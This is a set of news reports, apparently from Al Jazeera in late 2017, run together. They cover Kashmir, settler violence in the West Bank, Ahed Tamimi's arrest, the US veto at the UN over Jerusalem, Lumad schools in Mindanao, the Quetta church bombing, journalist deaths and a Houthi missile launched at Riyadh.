In recent years, civilians have rushed in large numbers to shield separatist fighters during armed confrontations.

Human rights activists in Kashmir say violence will continue as long as the army has the support of laws such as the Armed Forced Special Powers Act.

The controversial law gives Indias soldiers impunity in battling a rebellion in northeastern states and the disputed Kashmir region. India maintains about 500,000 soldiers in the Himalayan territory.

Parvez Imroz, a human rights lawyer in Kashmir, told Al Jazeera the army enjoys moral impunity in Kashmir because of the support of Indias media and its political leadership at the federal level.

The army cannot be tried in civilian courts unless specifically permitted by the defence ministry and the Indian government, which never happens, Imroz said.

Anti-India sentiment runs deep among Kashmirs mostly Muslim population, and many support the separatists cause against Indian rule, despite a decades-long military crackdown.

Armed groups have fought since 1989 for the Indian-administered portion to become independent, or merge with Pakistan. Nearly 70,000 people have been killed.
Qusra and other Palestinian villages suffer from impunity, as settler violence increases in the occupied West Bank.

The killing of a Palestinian farmer by Israeli settlers in a northern West Bank village last month has left his family in mourning while fighting an ongoing legal battle to save their home, which is slated for demolition.

Mahmoud al-Zaals eight-member family live in Qusra, a village encircled by illegal settlements and outposts south of the city of Nablus.

An Israeli settler from a nearby outpost shot al-Zaal, 48, while he was ploughing his land. He saw them approaching, and when they began to pester him, he called out for me, Awad, al-Zaals son, told Al Jazeera.

I was just 100 metres away, but when I ran back my father continued working and didnt succumb to their threats, the 23-year-old said. Right after, a settler took out his gun and shot my father in the back.

About 25 years ago, al-Zaal inherited his land that lies in Area C, where Israel maintains full civil and military control over the occupied West Bank.

Approximately half of Qusras territory is administered under Area C. The rest is designated as Area B, where the Palestinian Authority is only in charge of civil affairs, but security matters remain under full Israeli control.

Area C includes all of the 125 Jewish settlements in the West Bank, which house more than 300,000 settlers. Settlements are considered illegal under international law.

Violence used to evict Palestinians

Al-Zaals family received several eviction notices, with the state claiming their two homes  one of which is under construction  lack the necessary building permits.

Residents across the West Bank, who share the same fate as Qusras 6,000 residents, say these building permits are impossible to obtain.

Although Area C covers more than 60 percent of Palestinian territory, less than five percent of the Palestinian population live there, facing severe restrictions on planning, construction and access to resources such as water.

My father was always out in the field. He loved the land even more than us, said Awad. The settlers regularly trespass on our land to tear down our trees and crops.

Settler violence comes in various forms; from blocking roads, vandalising cars and houses, and burning down fields and olive groves, to physical assault and arson attacks.

The perpetrators are rarely held accountable by Israels police.





The Israeli settlements of Migdalim and Shilo were built on land belonging to Qusra residents in the 1970s, and have since grown to border the village to the northeast and south.

Over the past two decades, three additional settler outposts were established on the villages lands, including Esh Kodesh.

Prior to his death, al-Zaal began taking legal steps to counter the Israeli eviction notice in 2015. His death resulted in the delay of a court hearing in which he was a main witness; he had planned to testify in a bid to save his home.

According to the Jerusalem Legal Aid and Human Rights Center (JLAC), which oversees home demolition cases in Qusra and other villages that are under existential threat, the rate of settler attacks in the area is considerably high in comparison to other towns in the West Bank.

Wael al-Kut, the JLAC lawyer representing al-Zaals case, told Al Jazeera that he is overseeing six other demolition cases from the same village.

Much of the villages land has been expropriated, and this has empowered the settler community in the West Bank to carry out such attacks against Palestinian farmers and landowners, he said.

Police and army negligence

Gilad Grossman, spokesperson for Israeli human rights NGO Yesh Din, told Al Jazeera that since 2005, only 90 out of 1,122 investigations documented by the organisation led to indictments.

This is only eight percent of the total number of documented cases across the West Bank.

As of December 4, attacks by settlers have killed three Palestinians, injured 50 and damaged property in 108 incidents, according to the United Nations Office of the Coordination for Humanitarian Affairs (OCHA).

Palestinians who are exposed to settler attacks have grown increasingly frustrated by the lack of due process.

According to al-Kut, victims who file complaints with Israeli police are often harmed in the process.

Some get their work permits revoked; others cant even reach the police stations because theyre outside of their vicinity and they need permits to get to police stations, he said.

Weve taken on settler violence cases, but in my experience, the trend is that the police always takes the side of the settlers, he said.

The proof is that the police immediately closed Zaals case without launching a proper investigation into his killingthe police showed up at the scene and determined that his death was an act of self-defence.

Under international law, Israel is obligated to safeguard Palestinians in the occupied West Bank from persecution. But Israeli authorities have routinely breached their duty, enabling settler attacks to develop into a trend while rarely holding perpetrators responsible.

Israeli rights group BTselem revealed that Israeli security forces facilitate settler attacks and provide escort and back-up and in some cases, they even join in on the attack.

In 2011, Qusra lost another resident to a settler attack.





When a group of settlers raided the villages farmland to damage the crops, 37-year-old Issam Badran was among the 250 residents who confronted them.

Issam was shot above the hip and died instantly, his wife, Samira, told Al Jazeera.

He was shot by an Israeli soldier who was accompanying the settlers for protection, she said.

According to Samira, her family was collectively punished when they decided to file a lawsuit against the soldier who shot her husband.

Those who worked inside Israel had their work permits revoked, which pressured the family into dropping the case.

Stark rise in settler attacks

Qusra has seen a stark rise in settler attacks since the early 2000s, when Israeli authorities established the Esh Kodesh settler outpost near the village, Mohammed Awad, chairperson of Qusras local council, told Al Jazeera.

He explained that these settlements and outposts had devoured more than 4,000 dunams of the villages land so far. Moreover, certain areas of leftover land also became inaccessible to Qusras residents during harvesting season.

My family owns land with olive and almond trees, which was confiscated for the Esh Kodesh outpost many years ago, said Awad.

For more than a decade, we were prevented from reaching it, and we only managed to visit the land for the first time about two years ago, he said.

According to him, only 3,000 out of more than 9,000 dunams of land remains, while settlers continue to take over what is left of the territory.

Settlers raid the village with weapons, while farmers have nothing to defend themselves with other than stones, said Awad, adding that this is an attempt to seize more land, preventing farmers from reaching 500 dunams located near Migdalim.

In the midst of ongoing attacks, residents of Qusra have taken it upon themselves to protect themselves in the absence of law enforcement.

People in the village do not have an official entity to protect them so the whole village is under existential threat and we regularly see settler violence cases erupt there, explained al-Kut.

As some settler groups appear to be backed by members of the Israeli Knesset, residents formed popular committees to prevent settlers from trespassing.

However, their efforts to protect their land from settlers is nothing, said al-Kut. These committees are unarmed and cant actively prevent settler violence, he said.

The people of Qusra are the ones who are the most steadfast in their land.
Detention of mother follows arrest of Ahed Tamimi, 16, by Israeli soldiers in West Bank village in continuing crackdown.

Bethlehem, occupied West Bank  Ahed Tamimi, a prominent 16-year-old Palestinian activist, has been detained during a pre-dawn raid on her home by the Israeli army and border police in the occupied West Bank.

Aheds mother, Nariman, was also arrested on Tuesday afternoon during a visit to Ahed at an Israeli police station.

According to Aheds father Bassem, the Tamimi family, who are well-known activists in the village of Nabi Saleh, woke up with a shock at about 3am to the noise of Israeli forces banging on their front door and screaming.

Bassem told Al Jazeera that he opened the door for the soldiers, who pushed him aside and trooped into the house.

They forced the family into one of the rooms as they went about rifling through the household contents, throwing clothes and possessions on the floor and leaving behind a mess.

The soldiers then informed the family that Ahed was being arrested, without giving any reasons.

Nariman was hysterically crying and attempted to hug Ahed, but she was thrown to the ground by the soldiers, he said, referring to Aheds mother.

Despite Ahed being a constant fixture at Nabi Salehs protests, this is the first time she has been detained by Israeli forces.

Possessions confiscated

Ahed was handcuffed and led by the soldiers outside to an Israeli army jeep. The family was prevented from following her outside.

According to Bassem, at least 30 soldiers were involved in the raid and Aheds arrest.

The soldiers confiscated the familys phones, computers and laptops. Bassem told Al Jazeera that his 14-year-old son had refused to give the soldiers his phone.

Six soldiers pushed him down and violently took it from him, he said.

The family was left in shock following the raid.





Later in the afternoon, Nariman went to visit Ahed, who was being held at a police station near Jabaa village in the Jerusalem district of the West Bank, so that she could be present during the minors interrogation.

According to the Association for Civil Rights in Israel, an Israeli nongovernmental organisation (NGO), a parent has the right to accompany their child during an interrogation in the occupied Palestinian territory.

Before long, Bassem received a phone call from his lawyer saying that Nariman too had been arrested upon her arrival at the police station.

An Israeli police spokesperson was not immediately available for comment on the alleged arrest.

Manal Tamimi, Aheds cousin, told Al Jazeera that clashes broke out in the village during Tuesdays raid, with Israeli forces shooting tear-gas canisters at homes in the village.

I cant imagine how anyone can do this, Bassem said.

At the end of the day I am a father. It is not easy to see soldiers raiding your home in the middle of the night to take away your daughter.

Powerless to do anything

The Tamimi family is no stranger to run-ins with the Israeli military establishment.

Bassem has been arrested numerous times by Israeli forces, and was termed a prisoner of conscience by Amnesty International, the international rights-advocacy group, during one of his several stints in Israeli prison in 2012.

Im so angry. But I am powerless to do anything. This is occupation, said Bassem, feeling the pain of Tuesdays double blow.

They want Palestinians to suffer.

Aheds arrest came a day after a video of the teen confronting Israeli soldiers during protests in Nabi Saleh on Friday, over US President Donald Trumps recognition of Jerusalem as Israels capital, went viral.

An Israeli army spokesperson told Al Jazeera that Ahed was suspected of assaulting a soldier and an IDF officer.





The spokesperson accused Ahed of participating in a violent riot in which she said hundreds of Palestinians threw stones at Israeli forces during Fridays protests.

She alleged that the Tamimi family had given their consent to Palestinians to throw rocks at Israeli soldiers from their home, and that the soldiers were present outside at the time to remove the rioters from the house.

However, Bassem says the Israeli narrative does not tell the full story.

He says the now-viral video showing Ahed was shot immediately after Israeli forces fired tear-gas canisters directly at their home, which broke several windows.

Medically induced coma

Moments earlier, Aheds 14-year-old cousin, Mohammad, had been hit point-blank in the face by a rubber bullet fired by the Israeli soldiers

Mohammad had to be put under a medically induced coma, from which he woke up on Tuesday, 72 hours later.

Ahed was telling the soldiers to get away from our home, Bassem said. She was trying to force them to leave to prevent the soldiers from hurting anyone else.

The Israeli army spokesperson said the soldiers had acted in a professional and restrained manner.





However, Bassem says the soldiers did not react to Aheds attempts to force them out of the area because they were in a state of shock on seeing the severity of Mohammads wounds after shooting him in the face.

Both Bassem and Manal say the village has a right to resist Israeli soldiers on their lands.

We cannot live normally under occupation, Bassem said. We have no choice but to resist.

But because we resist, we pay the price.

Praised by activists

Naftali Bennet, Israels education minister who is known for his hawkish views, told Army Radio on Tuesday that Ahed and the other women in the video should finish their lives in prison.

The Israeli army posted on its Twitter account a video showing Ahed being arrested.

Manal says the Israeli army was responding to a social media campaign among Israelis who demanded that Ahed be arrested after the video went viral.

Ahed has been praised by activists and the international community for her courage during protests in Nabi Saleh, which have been held every Friday in the village for years.

She started attending the protests there when she was just nine years old.

At age 13, Ahed won the Handala Courage Award in Turkey, and rose to international prominence after a video and series of photos were published of the young activist, along and her mother and aunt, desperately attempting to save her injured brother Mohammad, then 11 years old, from being arrested by Israeli forces in 2015.

According to Manal, Israeli forces have been systematically targeting children and teenagers of the community.

Everyone being targeted

On Monday, Israeli forces detained 15-year-old Ahmad Tamimi from his school in a nearby village and released him later in the night, Manal said.

This has given us the message that everyone now is being targeted  men, women, and children, she said.

The last three days have seen the arrest of two children and severe injuries to a third.

This is making the children fear that they will be the next ones to either be injured, killed or arrested.

Manal said her 10-year-old son had started sleeping with his jeans on, placing his boots beside his bed, and putting a pair of pyjamas beside him, in case Israeli soldiers came to arrest him from his home.

The children all feel like something bad will happen to them at any moment, she said.

The Palestinian NGO Badil told Al Jazeera that it was common for Palestinians to sleep with their clothes on in order to avoid further invasion of privacy and embarrassment during the raids.

The group condemned Israels night raids on Palestinian communities, calling the policy particularly gruesome and a means of subjugating and suppressing the [Palestinian] population.

Children are particularly affected by these raids, Badil said, adding that Palestinian children often suffer from insomnia, bed-wetting, and nightmares.

This is part and parcel of wider Israeli policies that must exist for [Israel] to continue foreign domination and the colonisation of Palestine, Badil said.

Israeli forces carried out at least 100 raids on Palestinian communities between November 24 and December 4, according to UN documents.

Manal says that Nabi Saleh has been raided on a near nightly basis for the past three months.
US decision encourages Israel to persist in its crimes against the Palestinian people, Palestinian UN ambassador says.

The Palestinian ambassador to the UN has rejected a US veto in the United Nations Security Council that called for a resolution against President Donald Trumps recent recognition of Jerusalem as Israels capital.

The draft resolution was backed on Monday by the 14 other Security Council members, including many US allies, highlighting Washingtons increasing isolation over an issue that has triggered mass rallies in support of the Palestinians in major international cities.

Speaking after the vote, Riyad Mansour, the Palestinian ambassador to the UN, said: It is paradoxical that while we were waiting for a peace plan from the US, the administration instead decided to further obstruct peace and delay its realisation.

The US decision encourages Israel to persist in its crimes against the Palestinian people and to continue its occupation of our territory. No rhetoric will hide this complacency in prolonging the occupation, he added.

On Monday, the Palestine Liberation Organization (PLO), an umbrella of Palestinian political parties, announced it would no longer accept the US as a partner in the peace process.

We will not allow the US to be a mediator or a partner in the peace process, said Mahmoud Abbas, the president of the PA, the Ramallah-based governmental body that administers parts of the occupied West Bank.

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Abbas also promised to seek full membership for Palestine at the UN, despite a previous push failed to do so in 2011.

Currently, Palestine is a non-member observer state, meaning that it has the right to speak but not vote on resolutions.

We will take political, diplomatic, and legal actions against Trumps declaration regarding Jerusalem, said Abbas.

Courage and honesty

Nikki Haley, the US ambassador to the UN, said in the Security Council that the United States had the courage and honesty to recognise a fundamental reality.

Jerusalem has been the political, cultural, and spiritual homeland of the Jewish people for thousands of years  they have had no other capital city, she continued.

The United States has the sovereignty to determine where and whether we establish an embassy, said Haley, describing the vote as an insult that wont be forgotten.

Israeli Prime Minister Benjamin Netanyahu released a video on his Twitter account in which he thanked Haley for the US veto.

Thank you, Ambassador Haley. On [the Jewish holiday of] Hanukkah, you spoke like a Maccabi, he said, likening her to a member of the Jewish community that is believed to have rebelled against the Romans.

You lit a candle of truth. You dispel the darkness. One defeated the many. Truth defeated lies. Thank you, President Trump. Thank you, Nikki Haley.

Thank you, Ambassador Haley. On Hanukkah, you spoke like a Maccabi. You lit a candle of truth. You dispel the darkness. One defeated the many. Truth defeated lies. Thank you, President Trump. Thank you, Nikki Haley. pic.twitter.com/zFIiStoait  Benjamin Netanyahu (@netanyahu) December 18, 2017

Along with the UK, France, Russia, and China, the US is a permanent member of the UN Security Council, with the power to block any resolution from passing with the use of a veto.

The Egyptian-drafted text reiterated the UN position on Jerusalem, affirming that any decisions and actions which purport to have altered, the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be rescinded in compliance with relevant resolutions of the Security Council.

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In an effort to keep Washington from exercising its veto power, the text did not mention the US by name, saying instead it deeply regrets recent decisions regarding the status of Jerusalem.

Francois Delattre, Frances ambassador to the UN, said his country regretted the US decision over Jerusalem.

This draft resolution confirms an international consensus on Jerusalem that has been built over decades, said Delattre.

The vote came less than two weeks after Trumps controversial speech, which reversed decades of US policy on the Israeli-Palestinian conflict.

The US and the international community have long maintained that the solution to the Middle East conflict would be the formation of a Palestinian state  alongside the Israeli one  with East Jerusalem as its capital.

Trumps declaration unleashed widespread anger and rallies within Palestine and in major cities across the world.

Since the decision, at least 10 Palestinians have been killed and more than 2,800 injured in protests in the occupied territories of the West Bank, East Jerusalem and the Gaza Strip.
The UN General Assembly will hold an emergency meeting after the US vetoed a UN Security Council resolution rejecting the US decision to recognise Jerusalem as Israels capital.

The request for the General Assembly meeting was put forth by a bloc of Arab nations, Turkey and the Organization of Islamic Cooperation, which bills itself as the collective voice of the Muslim world.

US President Donald Trump recognised Jerusalem as the capital of Israel on December 6, reversing decades of US foreign policy and upsetting the Arab world and its Western allies.

The president of the General Assembly, Miroslav Lajcak, said that the emergency session will be conducted as soon as possible, while the Palestinian ambassador to the UN, Riyad Mansour, expected it to be held on Wednesday or Thursday.

Mansour said the request stipulated that the session be held in accordance with the principle of Uniting for Peace, in reference to General Assembly 1950 Resolution 377A.

According to the resolution, the General Assembly will take it upon itself to consider matters further if the Security Council fails to exercise its primary responsibility for the maintenance of international peace and security.

Turkey, which has been highly vocal in criticising the US administration over its Jerusalem decision, is leading the push in the General Assembly.

The resolution can be passed by getting at least two-thirds of the votes of the members of the UN General Assembly, a Turkish foreign ministry source, who wished to remain anonymous, told Al Jazeera.

We already have this number, but Turkey, as well as the other OIC members, are working hard to increase it, one of the sources said.

International law considers occupied East Jerusalem to be the capital for a future Palestine state, and does not recognise Israels annexation of the territory, which it captured in the 1967 Six Day War.

Speaking after the US Security Council veto, Mansour, the Palestinian ambassador to the UN, said: It is paradoxical that while we were waiting for a peace plan from the US, the administration instead decided to further obstruct peace and delay its realisation.

The US decision encourages Israel to persist in its crimes against the Palestinian people and to continue its occupation of our territory. No rhetoric will hide this complacency in prolonging the occupation, he added.
Officials say the delay is not due to the outrage over Trumps decision to recognise Jerusalem as Israels capital.

Vice President Mike Pence is delaying his planned trip to Egypt and Israel until the US tax reform gets through Congress, the White House has announced.

The announcement comes amid outrage over the US move to recognise Jerusalem as Israels capital, though officials say the delay is not due to the Jerusalem decision.

Pence was expected to travel to Egypt on Wednesday to meet Egyptian President Abdel Fattah el-Sisi before travelling to Israel.

The White House confirmed on Monday that the trip has been delayed due to a Republican push to pass the largest tax overhaul in decades this week.

Pence could be expected to cast the tie-breaking vote on the tax plan in the Senate, but that now seems unlikely as Republicans say they have the votes to pass the reform.

The largest tax cut in American history is a landmark accomplishment for President Trump and a relief to millions of hardworking Americans, Alyssa Farah, a spokeswoman for Pences office, said in a statement.

The vice president is committed to seeing the tax cut through to the finish line, she added. The vice president looks forward to travelling to Egypt and Israel in January.

Snubbed in Egypt and Palestine

The delay comes at a time the US is facing widespread backlash over Trumps decision to recognise Jerusalem as the capital of Israel and begin the process of moving the countrys embassy from Tel Aviv to the city.

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The decision sparked protests throughout the Middle East, Asia and elsewhere.

A leading Muslim leader in Egypt rejected a meeting request by Pences team prior to the delay, saying Trump must reverse his decision on Jerusalem, Reuters news agency reported.

Sheikh Ahmed al-Tayeb, the imam of al-Azhar Mosque in Cairo, said he had declined a meeting with the US vice president, according to a statement by the mosque.

The leader of Egypts Coptic Church also cancelled his meeting with Pence, in protest of the US move.

Palestinian leader Mahmoud Abbas had also said he would not meet Pence during his trip. In October, Pences office said the vice president was scheduled to make a stop in the occupied West Bank during the visit.

But after Trumps decision earlier this month on Jerusalem, the Palestinian Authority declined the meeting.

Jibril Rajoub, a senior politician of Abbas Fatah party, said we will not receive him [Pence] in the Palestinian territories.

According to Reuters news agency, White House officials said that the decision to delay Pences trip was not related to the criticism over Trumps decision on Jerusalem.

The announcement from Pences office came on the same day the US vetoed a UN Security Council draft resolution that would have rejected decisions and actions which purport to have altered the character, status or demographic composition of the Holy City of Jerusalem.

The draft resolution was backed on Monday by the 14 other Security Council members, including many US allies.

The vote in the Senate on the tax reform bill could come as early Tuesday evening.
Davao Del Norte, Philippines  Up on the verdant mountains of Talaingod, a young pig squeals as four men grab its legs and a freshly sharpened bolo readies to slash its throat.

Dahosay Ansam-on, 77, utters a prayer to the Magbabaya, or the supreme being in Ata Manobo language. As they return to their homes, the villagers hope to live in peace.

Its been a month since Ansam-on was reunited with villagers who fled when armed men threatened to set a school on fire in retaliation for the death of a relative killed by communist rebels from the New Peoples Army (NPA).

Vivien Pepito, one of the schools teachers, could not forget her ordeal on the night of July 6, when those men knocked violently at the door of a staff house where she and her family lives.

They wanted to get in, she told Al Jazeera. I cried for help so the villagers could come to our rescue.

Communist threat

Bringing spears and arrows, villagers drove away the men. Locals call them Alamara, a paramilitary group with alleged ties to the Philippine military blamed for attacking tribal communities in Talaingod and other towns in the province of Davao del Norte in the southern Philippines, according to Human Rights Watch.

The next morning, villagers said the men also wanted to kill Pepito and her husband, Jessie, who teaches at the same school. Over the next few days, the community, many of them parents of Pepitos pupils, guarded the teachers and the school. Eventually, many decided to flee the village.

The Alamara men accuse Pepito and other teachers of being members of the NPA, alleging the school also promotes the groups communist ideology to pupils.

In the same month, Philippines President Rodrigo Duterte made a formidable threat: that he would bomb community schools that sympathised with communist fighters. He alleged these schools operate without government permits.

Soon after, the Philippine military accused Pepitos school, Salugpongan, of serving as a front for the Communist Party of the Philippines and its armed wing, the NPA, local media reported.

Months later in September, one of the schools pupils, Obillo Bay-ao, was shot allegedly by the same men who harassed Pepito and the other teachers.

As tensions rose, villagers fled and sought shelter in Davao City, where a Protestant church assists indigenous peoples caught in fighting between government troops and leftist fighters.

An estimated 3,000 indigenous people fled starting in 2014 because of attacks by militiamen.

Located in Sitio Dulyan in the town of Talaingod, Salugpongan is more than 100km away from Davao City. Villagers take a 30-minute kidney-jarring trip on an off-road motorbike from the mountains down to the plains before embarking on another trip to Tagum City in Davao del Norte, eventually leading them to Davao City.

The bike trip alone costs about $10, an amount that could go a long way if spent on food, said Pepito who has been teaching Ata Manobo children for three years now.

Pepito and her husband went to the same university where they first met. After a series of assignments as students in the community, the couple decided to volunteer as teachers here as soon as they finished their education.

I grew up having biases against minorities. When I met these people, things changed, said Jessie.

Pushed to the margins

Salugpongan  or the Salugpongan Ta Tanu Igkanogon Community Learning Center  was established in 2003. It was created to empower the Ata Manobo people who are no strangers to turmoil.

In the early 1990s, their leaders initiated a tribal war against a logging company that wanted to enter Talaingod.

In response to rising calls the protect the minority, former President Fidel V Ramos signed into law the Indigenous Peoples Rights Act of 1997, which led to the creation of the National Commission on Indigenous Peoples, an organisation often criticised for failing to serve the people it was mandated to look after.

Mindanao was annexed into the Philippines through the 1898 Treaty of Paris even though the American colonial government, and the Spaniards, never conquered the island.

Since then, waves of migrations from the northern Philippines have pushed indigenous tribes to settle into the hinterlands as the newcomers found homes on the plains.

Which is why the Ata Manobo people, like other minorities in the Philippines, often take it on themselves when it comes to matters concerning their ancestral land. Unfortunately, when they stage protests demanding the government to protect their rights, the military calls these efforts communist propaganda.

Maria Victoria Maglana, a development worker and human rights advocate, debunks this idea.

The view that the Talaingod Manobos are being used is premised on the ultimately derogatory mindset that the Lumads (indigenous people) do not know what they are doing and that they are ignorant and gullible, Maglana wrote in a newspaper column.

On that Sunday morning, children and their parents dashed towards the man with the pigs blood. They dipped their fingers into a basin and hurriedly drew red crosses on their foreheads. They say the blood will protect the villagers from the Alamara and the military, and that they will no longer come back.

When theyre here our lives are only put into trouble, Pepito says.

Hours later, back in the lush mountains of Talaingod, the sacrifice is turned into a feast. People plucked banana leaves and took turns in shoving food onto their makeshift plates.

For now, says Pepito, as long as the troops and Alamara militiamen are far from the school, the villagers can live in peace.
Family members of nine people killed in ISIL-claimed attack on a church in Quetta struggle to cope after brazen assault.

Islamabad, Pakistan  Nobody in the Gil family ever misses the weekly service at the Bethel Memorial Methodist Church in Quetta, Pakistan.

But last Sunday marked an exception. Barkat Gil had to tend to a work emergency. There was a shutdown that morning at the state electricity infrastructure company.

My youngest son called me, telling me to go to the church quickly, there had been a bomb blast, the 54-year-old told Al Jazeera. Security forces had closed the roads. I went to the Civil Hospital because they were bringing the wounded there.

His 30-year-old daughter Madeeha Gil and 14-year-old niece Mehak Sohail were among the victims.

My daughter in particular loved attending church, and she used to spend so much of her time praying, even at home, he said. We are such regulars at the church that if we ever dont come on Sunday, then people are often worried about our absence.

By the time Madeeha reached the hospital, her breathing was shallow and she was unresponsive. She had been shot in the neck.

When the doctors returned from the operation theatre, they announced that they could not save her.

Days earlier, Gils wife Parveen had bought their only daughter a new dress for Christmas.

On Monday, Madeeha was buried in it.

While he never imagined his particular church would be attacked, he always knew it was a possibility.

The threat is there in the whole country. What place is safe? No one is safe in their own houses, or even in Gods house. Not in a church, in a mosque, in an imambargah [a Shia Muslim mosque], or in a gurdwara [a Sikh place of worship]. The fear is always there.

At that, he asked if he could be excused.

The funeral for his niece was about to begin, and he had to deliver the sermon.

He was firing at us

At least nine people were killed in total as two attackers stormed the church, which was filled to capacity with 400 worshippers. Sunday marked a special day, with a childrens Christmas play also scheduled.

One of the attackers detonated his suicide vest at the entrance.

The Islamic State of Iraq and the Levant (ISIL, also known as ISIS) claimed responsibility for the attack on the church in Quetta but did not provide corroborating evidence such as the names and photographs of the bombers, as it had done for previous attacks in Pakistan.

Before the blast, Alexander Calvin had been ready to watch his six-year-old daughter in the childrens performance.

The 51-year-old sent his little girl, dressed in white with small angel wings, to the school building and sat in the adjacent main church hall to pray.

He never expected the day to end in a deafening explosion and a hail of bullets.

I heard the first bullets, and then after, a short pause, it was constant, said Calvin, a news photographer from the southwestern city. I ran first to the Sunday school building to lock the door and told them to lock it from the inside. Then I ran back to the church.

Calvin, his daughter and four-year-old son survived the brazen attack on Pakistans minority Christian community just a week before Christmas, which also wounded at least 55 people.

Security personnel killed one of the attackers at the gate and injured a gunman.

We could see him coming towards us, said Calvin. He had been shot in the arm and the leg, but he was still firing at us.

Inside, there was pandemonium.

Men, women and children were screaming, with several attempting to get to the adjacent Sunday school building to save their children, witnesses said.

I had locked the front door of the church, said Calvin. [The attacker] got to the main door. He touched the door, and when he saw it was locked, and he exploded himself at the door itself.

A wooden door is nothing in front of explosives  everyone who was in front of the door was hit by the blast. Five people were killed instantly, and many more were wounded.

Security success?

In the aftermath, Sarfaraz Bugti, the provincial home minister in Balochistan, of which Quetta is the capital, said security forces had prevented a higher death toll.

God forbid if the terrorists had succeeded in their plans more than 400 precious lives would have been at stake, he tweeted.

Police and paramilitary forces completed their operation to secure the church within 16 minutes, he said, neutralising the attackers.

Four police personnel were already attached to the church, with a spotter on the roof helped by three police officers on the church grounds.

Even one death is too many, but this was why it was lower, Talal Chaudhry, Pakistans minister of state for interior affairs, said in reference to the security forces. The suicide attackers  thought they could kill 400 people, including children, we have been saved from a huge death toll.

Yes there could have been much greater casualties, but that is not the criterion that one should be judging on by Zahid Hussain, security analyst and journalist

Analysts disagree, saying Pakistans security should prevent attacks, not just react to those that take place.

In the Pakistani situation, even a few casualties are seen as a security success, but I dont think it is, said Zahid Hussain, a security analyst and journalist. Yes there could have been much greater casualties, but that is not the criterion that one should be judging on.

Hussain pointed to a pattern of bombings and attacks in Balochistan province that have targeted security personnel as well as members of the Hazara Shia, Sufi and Christian minorities.

In October, at least 18 people were killed when a suicide bomber targeted a shrine in central Balochistan.

Days later, five people were killed in Quetta in an attack that targeted Hazara Shia Muslims.

In all, 242 people have been killed in attacks in Balochistan in 2017, according to the South Asia Terrorism Portal.

Sectarian groups such as the Lashkar-e-Jhangvi, a faction of which has worked with ISIL in the past, are among those behind attacks.

Im not saying that [the church attack] can be described as a security failure, said Hussain, but certainly there is a need to increase the effort and strengthen intelligence gathering.

Success can be gauged by how many attacks were prevented, not how low the casualties were.

Follow Asad Hashim on Twitter: @AsadHashim

Additional reporting by Saadullah Akhtar in Quetta.




Lowest number of journalists killed in 14 years could be down to NGOs lobbying governments, says media rights group.

A total of 65 journalists were killed around the world in a year seen as the least deadly for reporters in 14 years, according to Reporters Without Borders (RSF).

In its annual report published on Tuesday, the France-based media watchdog noted a fall in the death toll from last years 79 journalists killed.

In this years count, 39 were murdered and deliberately targeted because of their reporting, while 26 were victims of conflict.

Even though we have fewer number of killed journalists, the situation on the ground has not improved, unfortunately, Alexandra El Khazen, head of the groups Middle East desk, told Al Jazeera.

We are still very concerned, even though the figures are less alarming than they were last year, she said over the phone from Paris.

For the sixth consecutive year, Syria was the deadliest country for journalists with 12 killed, followed closely by Mexico at 11.





Syria is reeling from the effects of a civil war that dates back to 2011.

My biggest challenges were to be in the field whenever attacks happen and try to cover as much as I can, Zouhir Al Shimale, citizen journalist from Aleppo city, told Al Jazeera.

RSF said that the overall decrease in numbers may be a result of lobbying against governments by NGOs and rights groups.

Journalists abandoning countries that have become too dangerous may have also contributed to the downward trend, it said.

It is encouraging that campaigns against impunity towards the press seem to have succeeded, said Daoud Kuttab, a Palestinian journalist and columnist. A lot of work is still needed.

Media mistrust

As of December 1, the group also found that 326 reporters  fewer than 348 last year  were detained in connection with the provision of news and information.

Meanwhile, the Committee to Protect Journalists (CPJ), in its report published earlier this month, said that a record number of journalists at 262 were put behind bars for their work in 2017.

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In its annual report, RSF includes citizen journalists, professional journalists and media workers.

The two reports come as Al Jazeera reporter Mahmoud Hussein approaches one year of detention in an Egyptian jail cell.

Hussein, an Egyptian national based in Qatar, was detained and questioned by Egyptian authorities on December 20 last year after travelling to Cairo for a holiday.

He is accused of incitement against state institutions and broadcasting false news with the aim of spreading chaos.

Al Jazeera has rejected the allegations against him and urges his unconditional release.

All we need now is one united stand by all journalists all over the globe to stand for our colleagues. by Baher Mohamed, Al Jazeera journalist

According to RSFs tally, China and Turkey imprisoned most journalists this year with 52 and 42 held respectively.

The attacks on the media and journalists in the world have become more commonplace, and there are now a lot of strongmen that are on the rise, said El Khazen of RSF.

She raised concern over the mistrust of media, particularly in democratic countries.

Journalists are not only being targeted in non-democratic countries or warzone areas but also more and more in democracies where we have reached the age of false truths, propaganda, fake news and the suppression of freedom, El Khazen said.

In 2017, the number of women journalists killed doubled compared with last year, RSF said.

The fatal shooting of Indian journalist and outspoken government critic, Gauri Lankesh, in her hometown of Bangalore sparked outrage across the country.

The UN General Assembly adopted a resolution on November 20 to protect women journalists from sexist discrimination, violence and harassment.

But there is now increasing pressure on governments and international bodies by rights groups and media workers alike to protect journalists on the job.

What is needed now is more campaigns to call for the immediate release of journalists behind bars, said Al Jazeera journalist Baher Mohamed, who was wrongly jailed in Egypt in 2013.

He added: All we need now is one united stand by all journalists all over the globe to stand for our colleagues.

Follow Saba Aziz on Twitter: @saba_aziz
Saudi-led coalition says it intercepted a Houthi missile, rebels say they targeted the royal palace in Saudi capital.

A Saudi-led coalition battling Yemens Houthi rebels says it has intercepted a missile fired from the neighbouring country towards the kingdoms capital, Riyadh.

Houthi rebels said on Tuesday they had launched a ballistic missile targeting al-Yamama royal palace to mark 1,000 days since the coalition started its bombing campaign in Yemen.

This is our answer to them and to the whole world, Abdulmalik al-Houthi, the rebels leader, said in a televised address.

The more crimes you perpetrate, the more tyrannical you are, you will meet nothing but more missiles.

The Saudi-led coalition said that the missile was directed at residential areas and that there were no casualties, according to SPA, the Saudi state-run news agency.

Coalition forces confirm intercepting an Iranian-Houthi missile targeting south of Riyadh. There are no reported casualties at this time, the Saudi Center for International Communication said in a Twitter post.

However, Mohammed al-Bukhaiti, a spokesman for the Houthis, told Al Jazeera that there were several casualties in the attack.

The Saudis will claim they shot down our missile, but we have precision technology, capable of striking any target in the kingdom, said al-Bukhaiti.





He added that they fired a Burkan 2-H missile  a Scud-type missile with a range of more than 800km  from Yemens Saada region towards Riyadh.

The Saudi-led coalition retaliated with more air raids in the southern part of Yemens Houthi-controlled capital, Sanaa.

Saudi Arabia and its allies have been at war in Yemen since March 2015, when the oil-rich kingdom intervened to push back the Houthis  who control the Yemeni capital, Sanaa  and reinstate the government of President Abd-Rabbu Mansour Hadi.

Wednesday marks 1,000 days since the coalitions intervention.

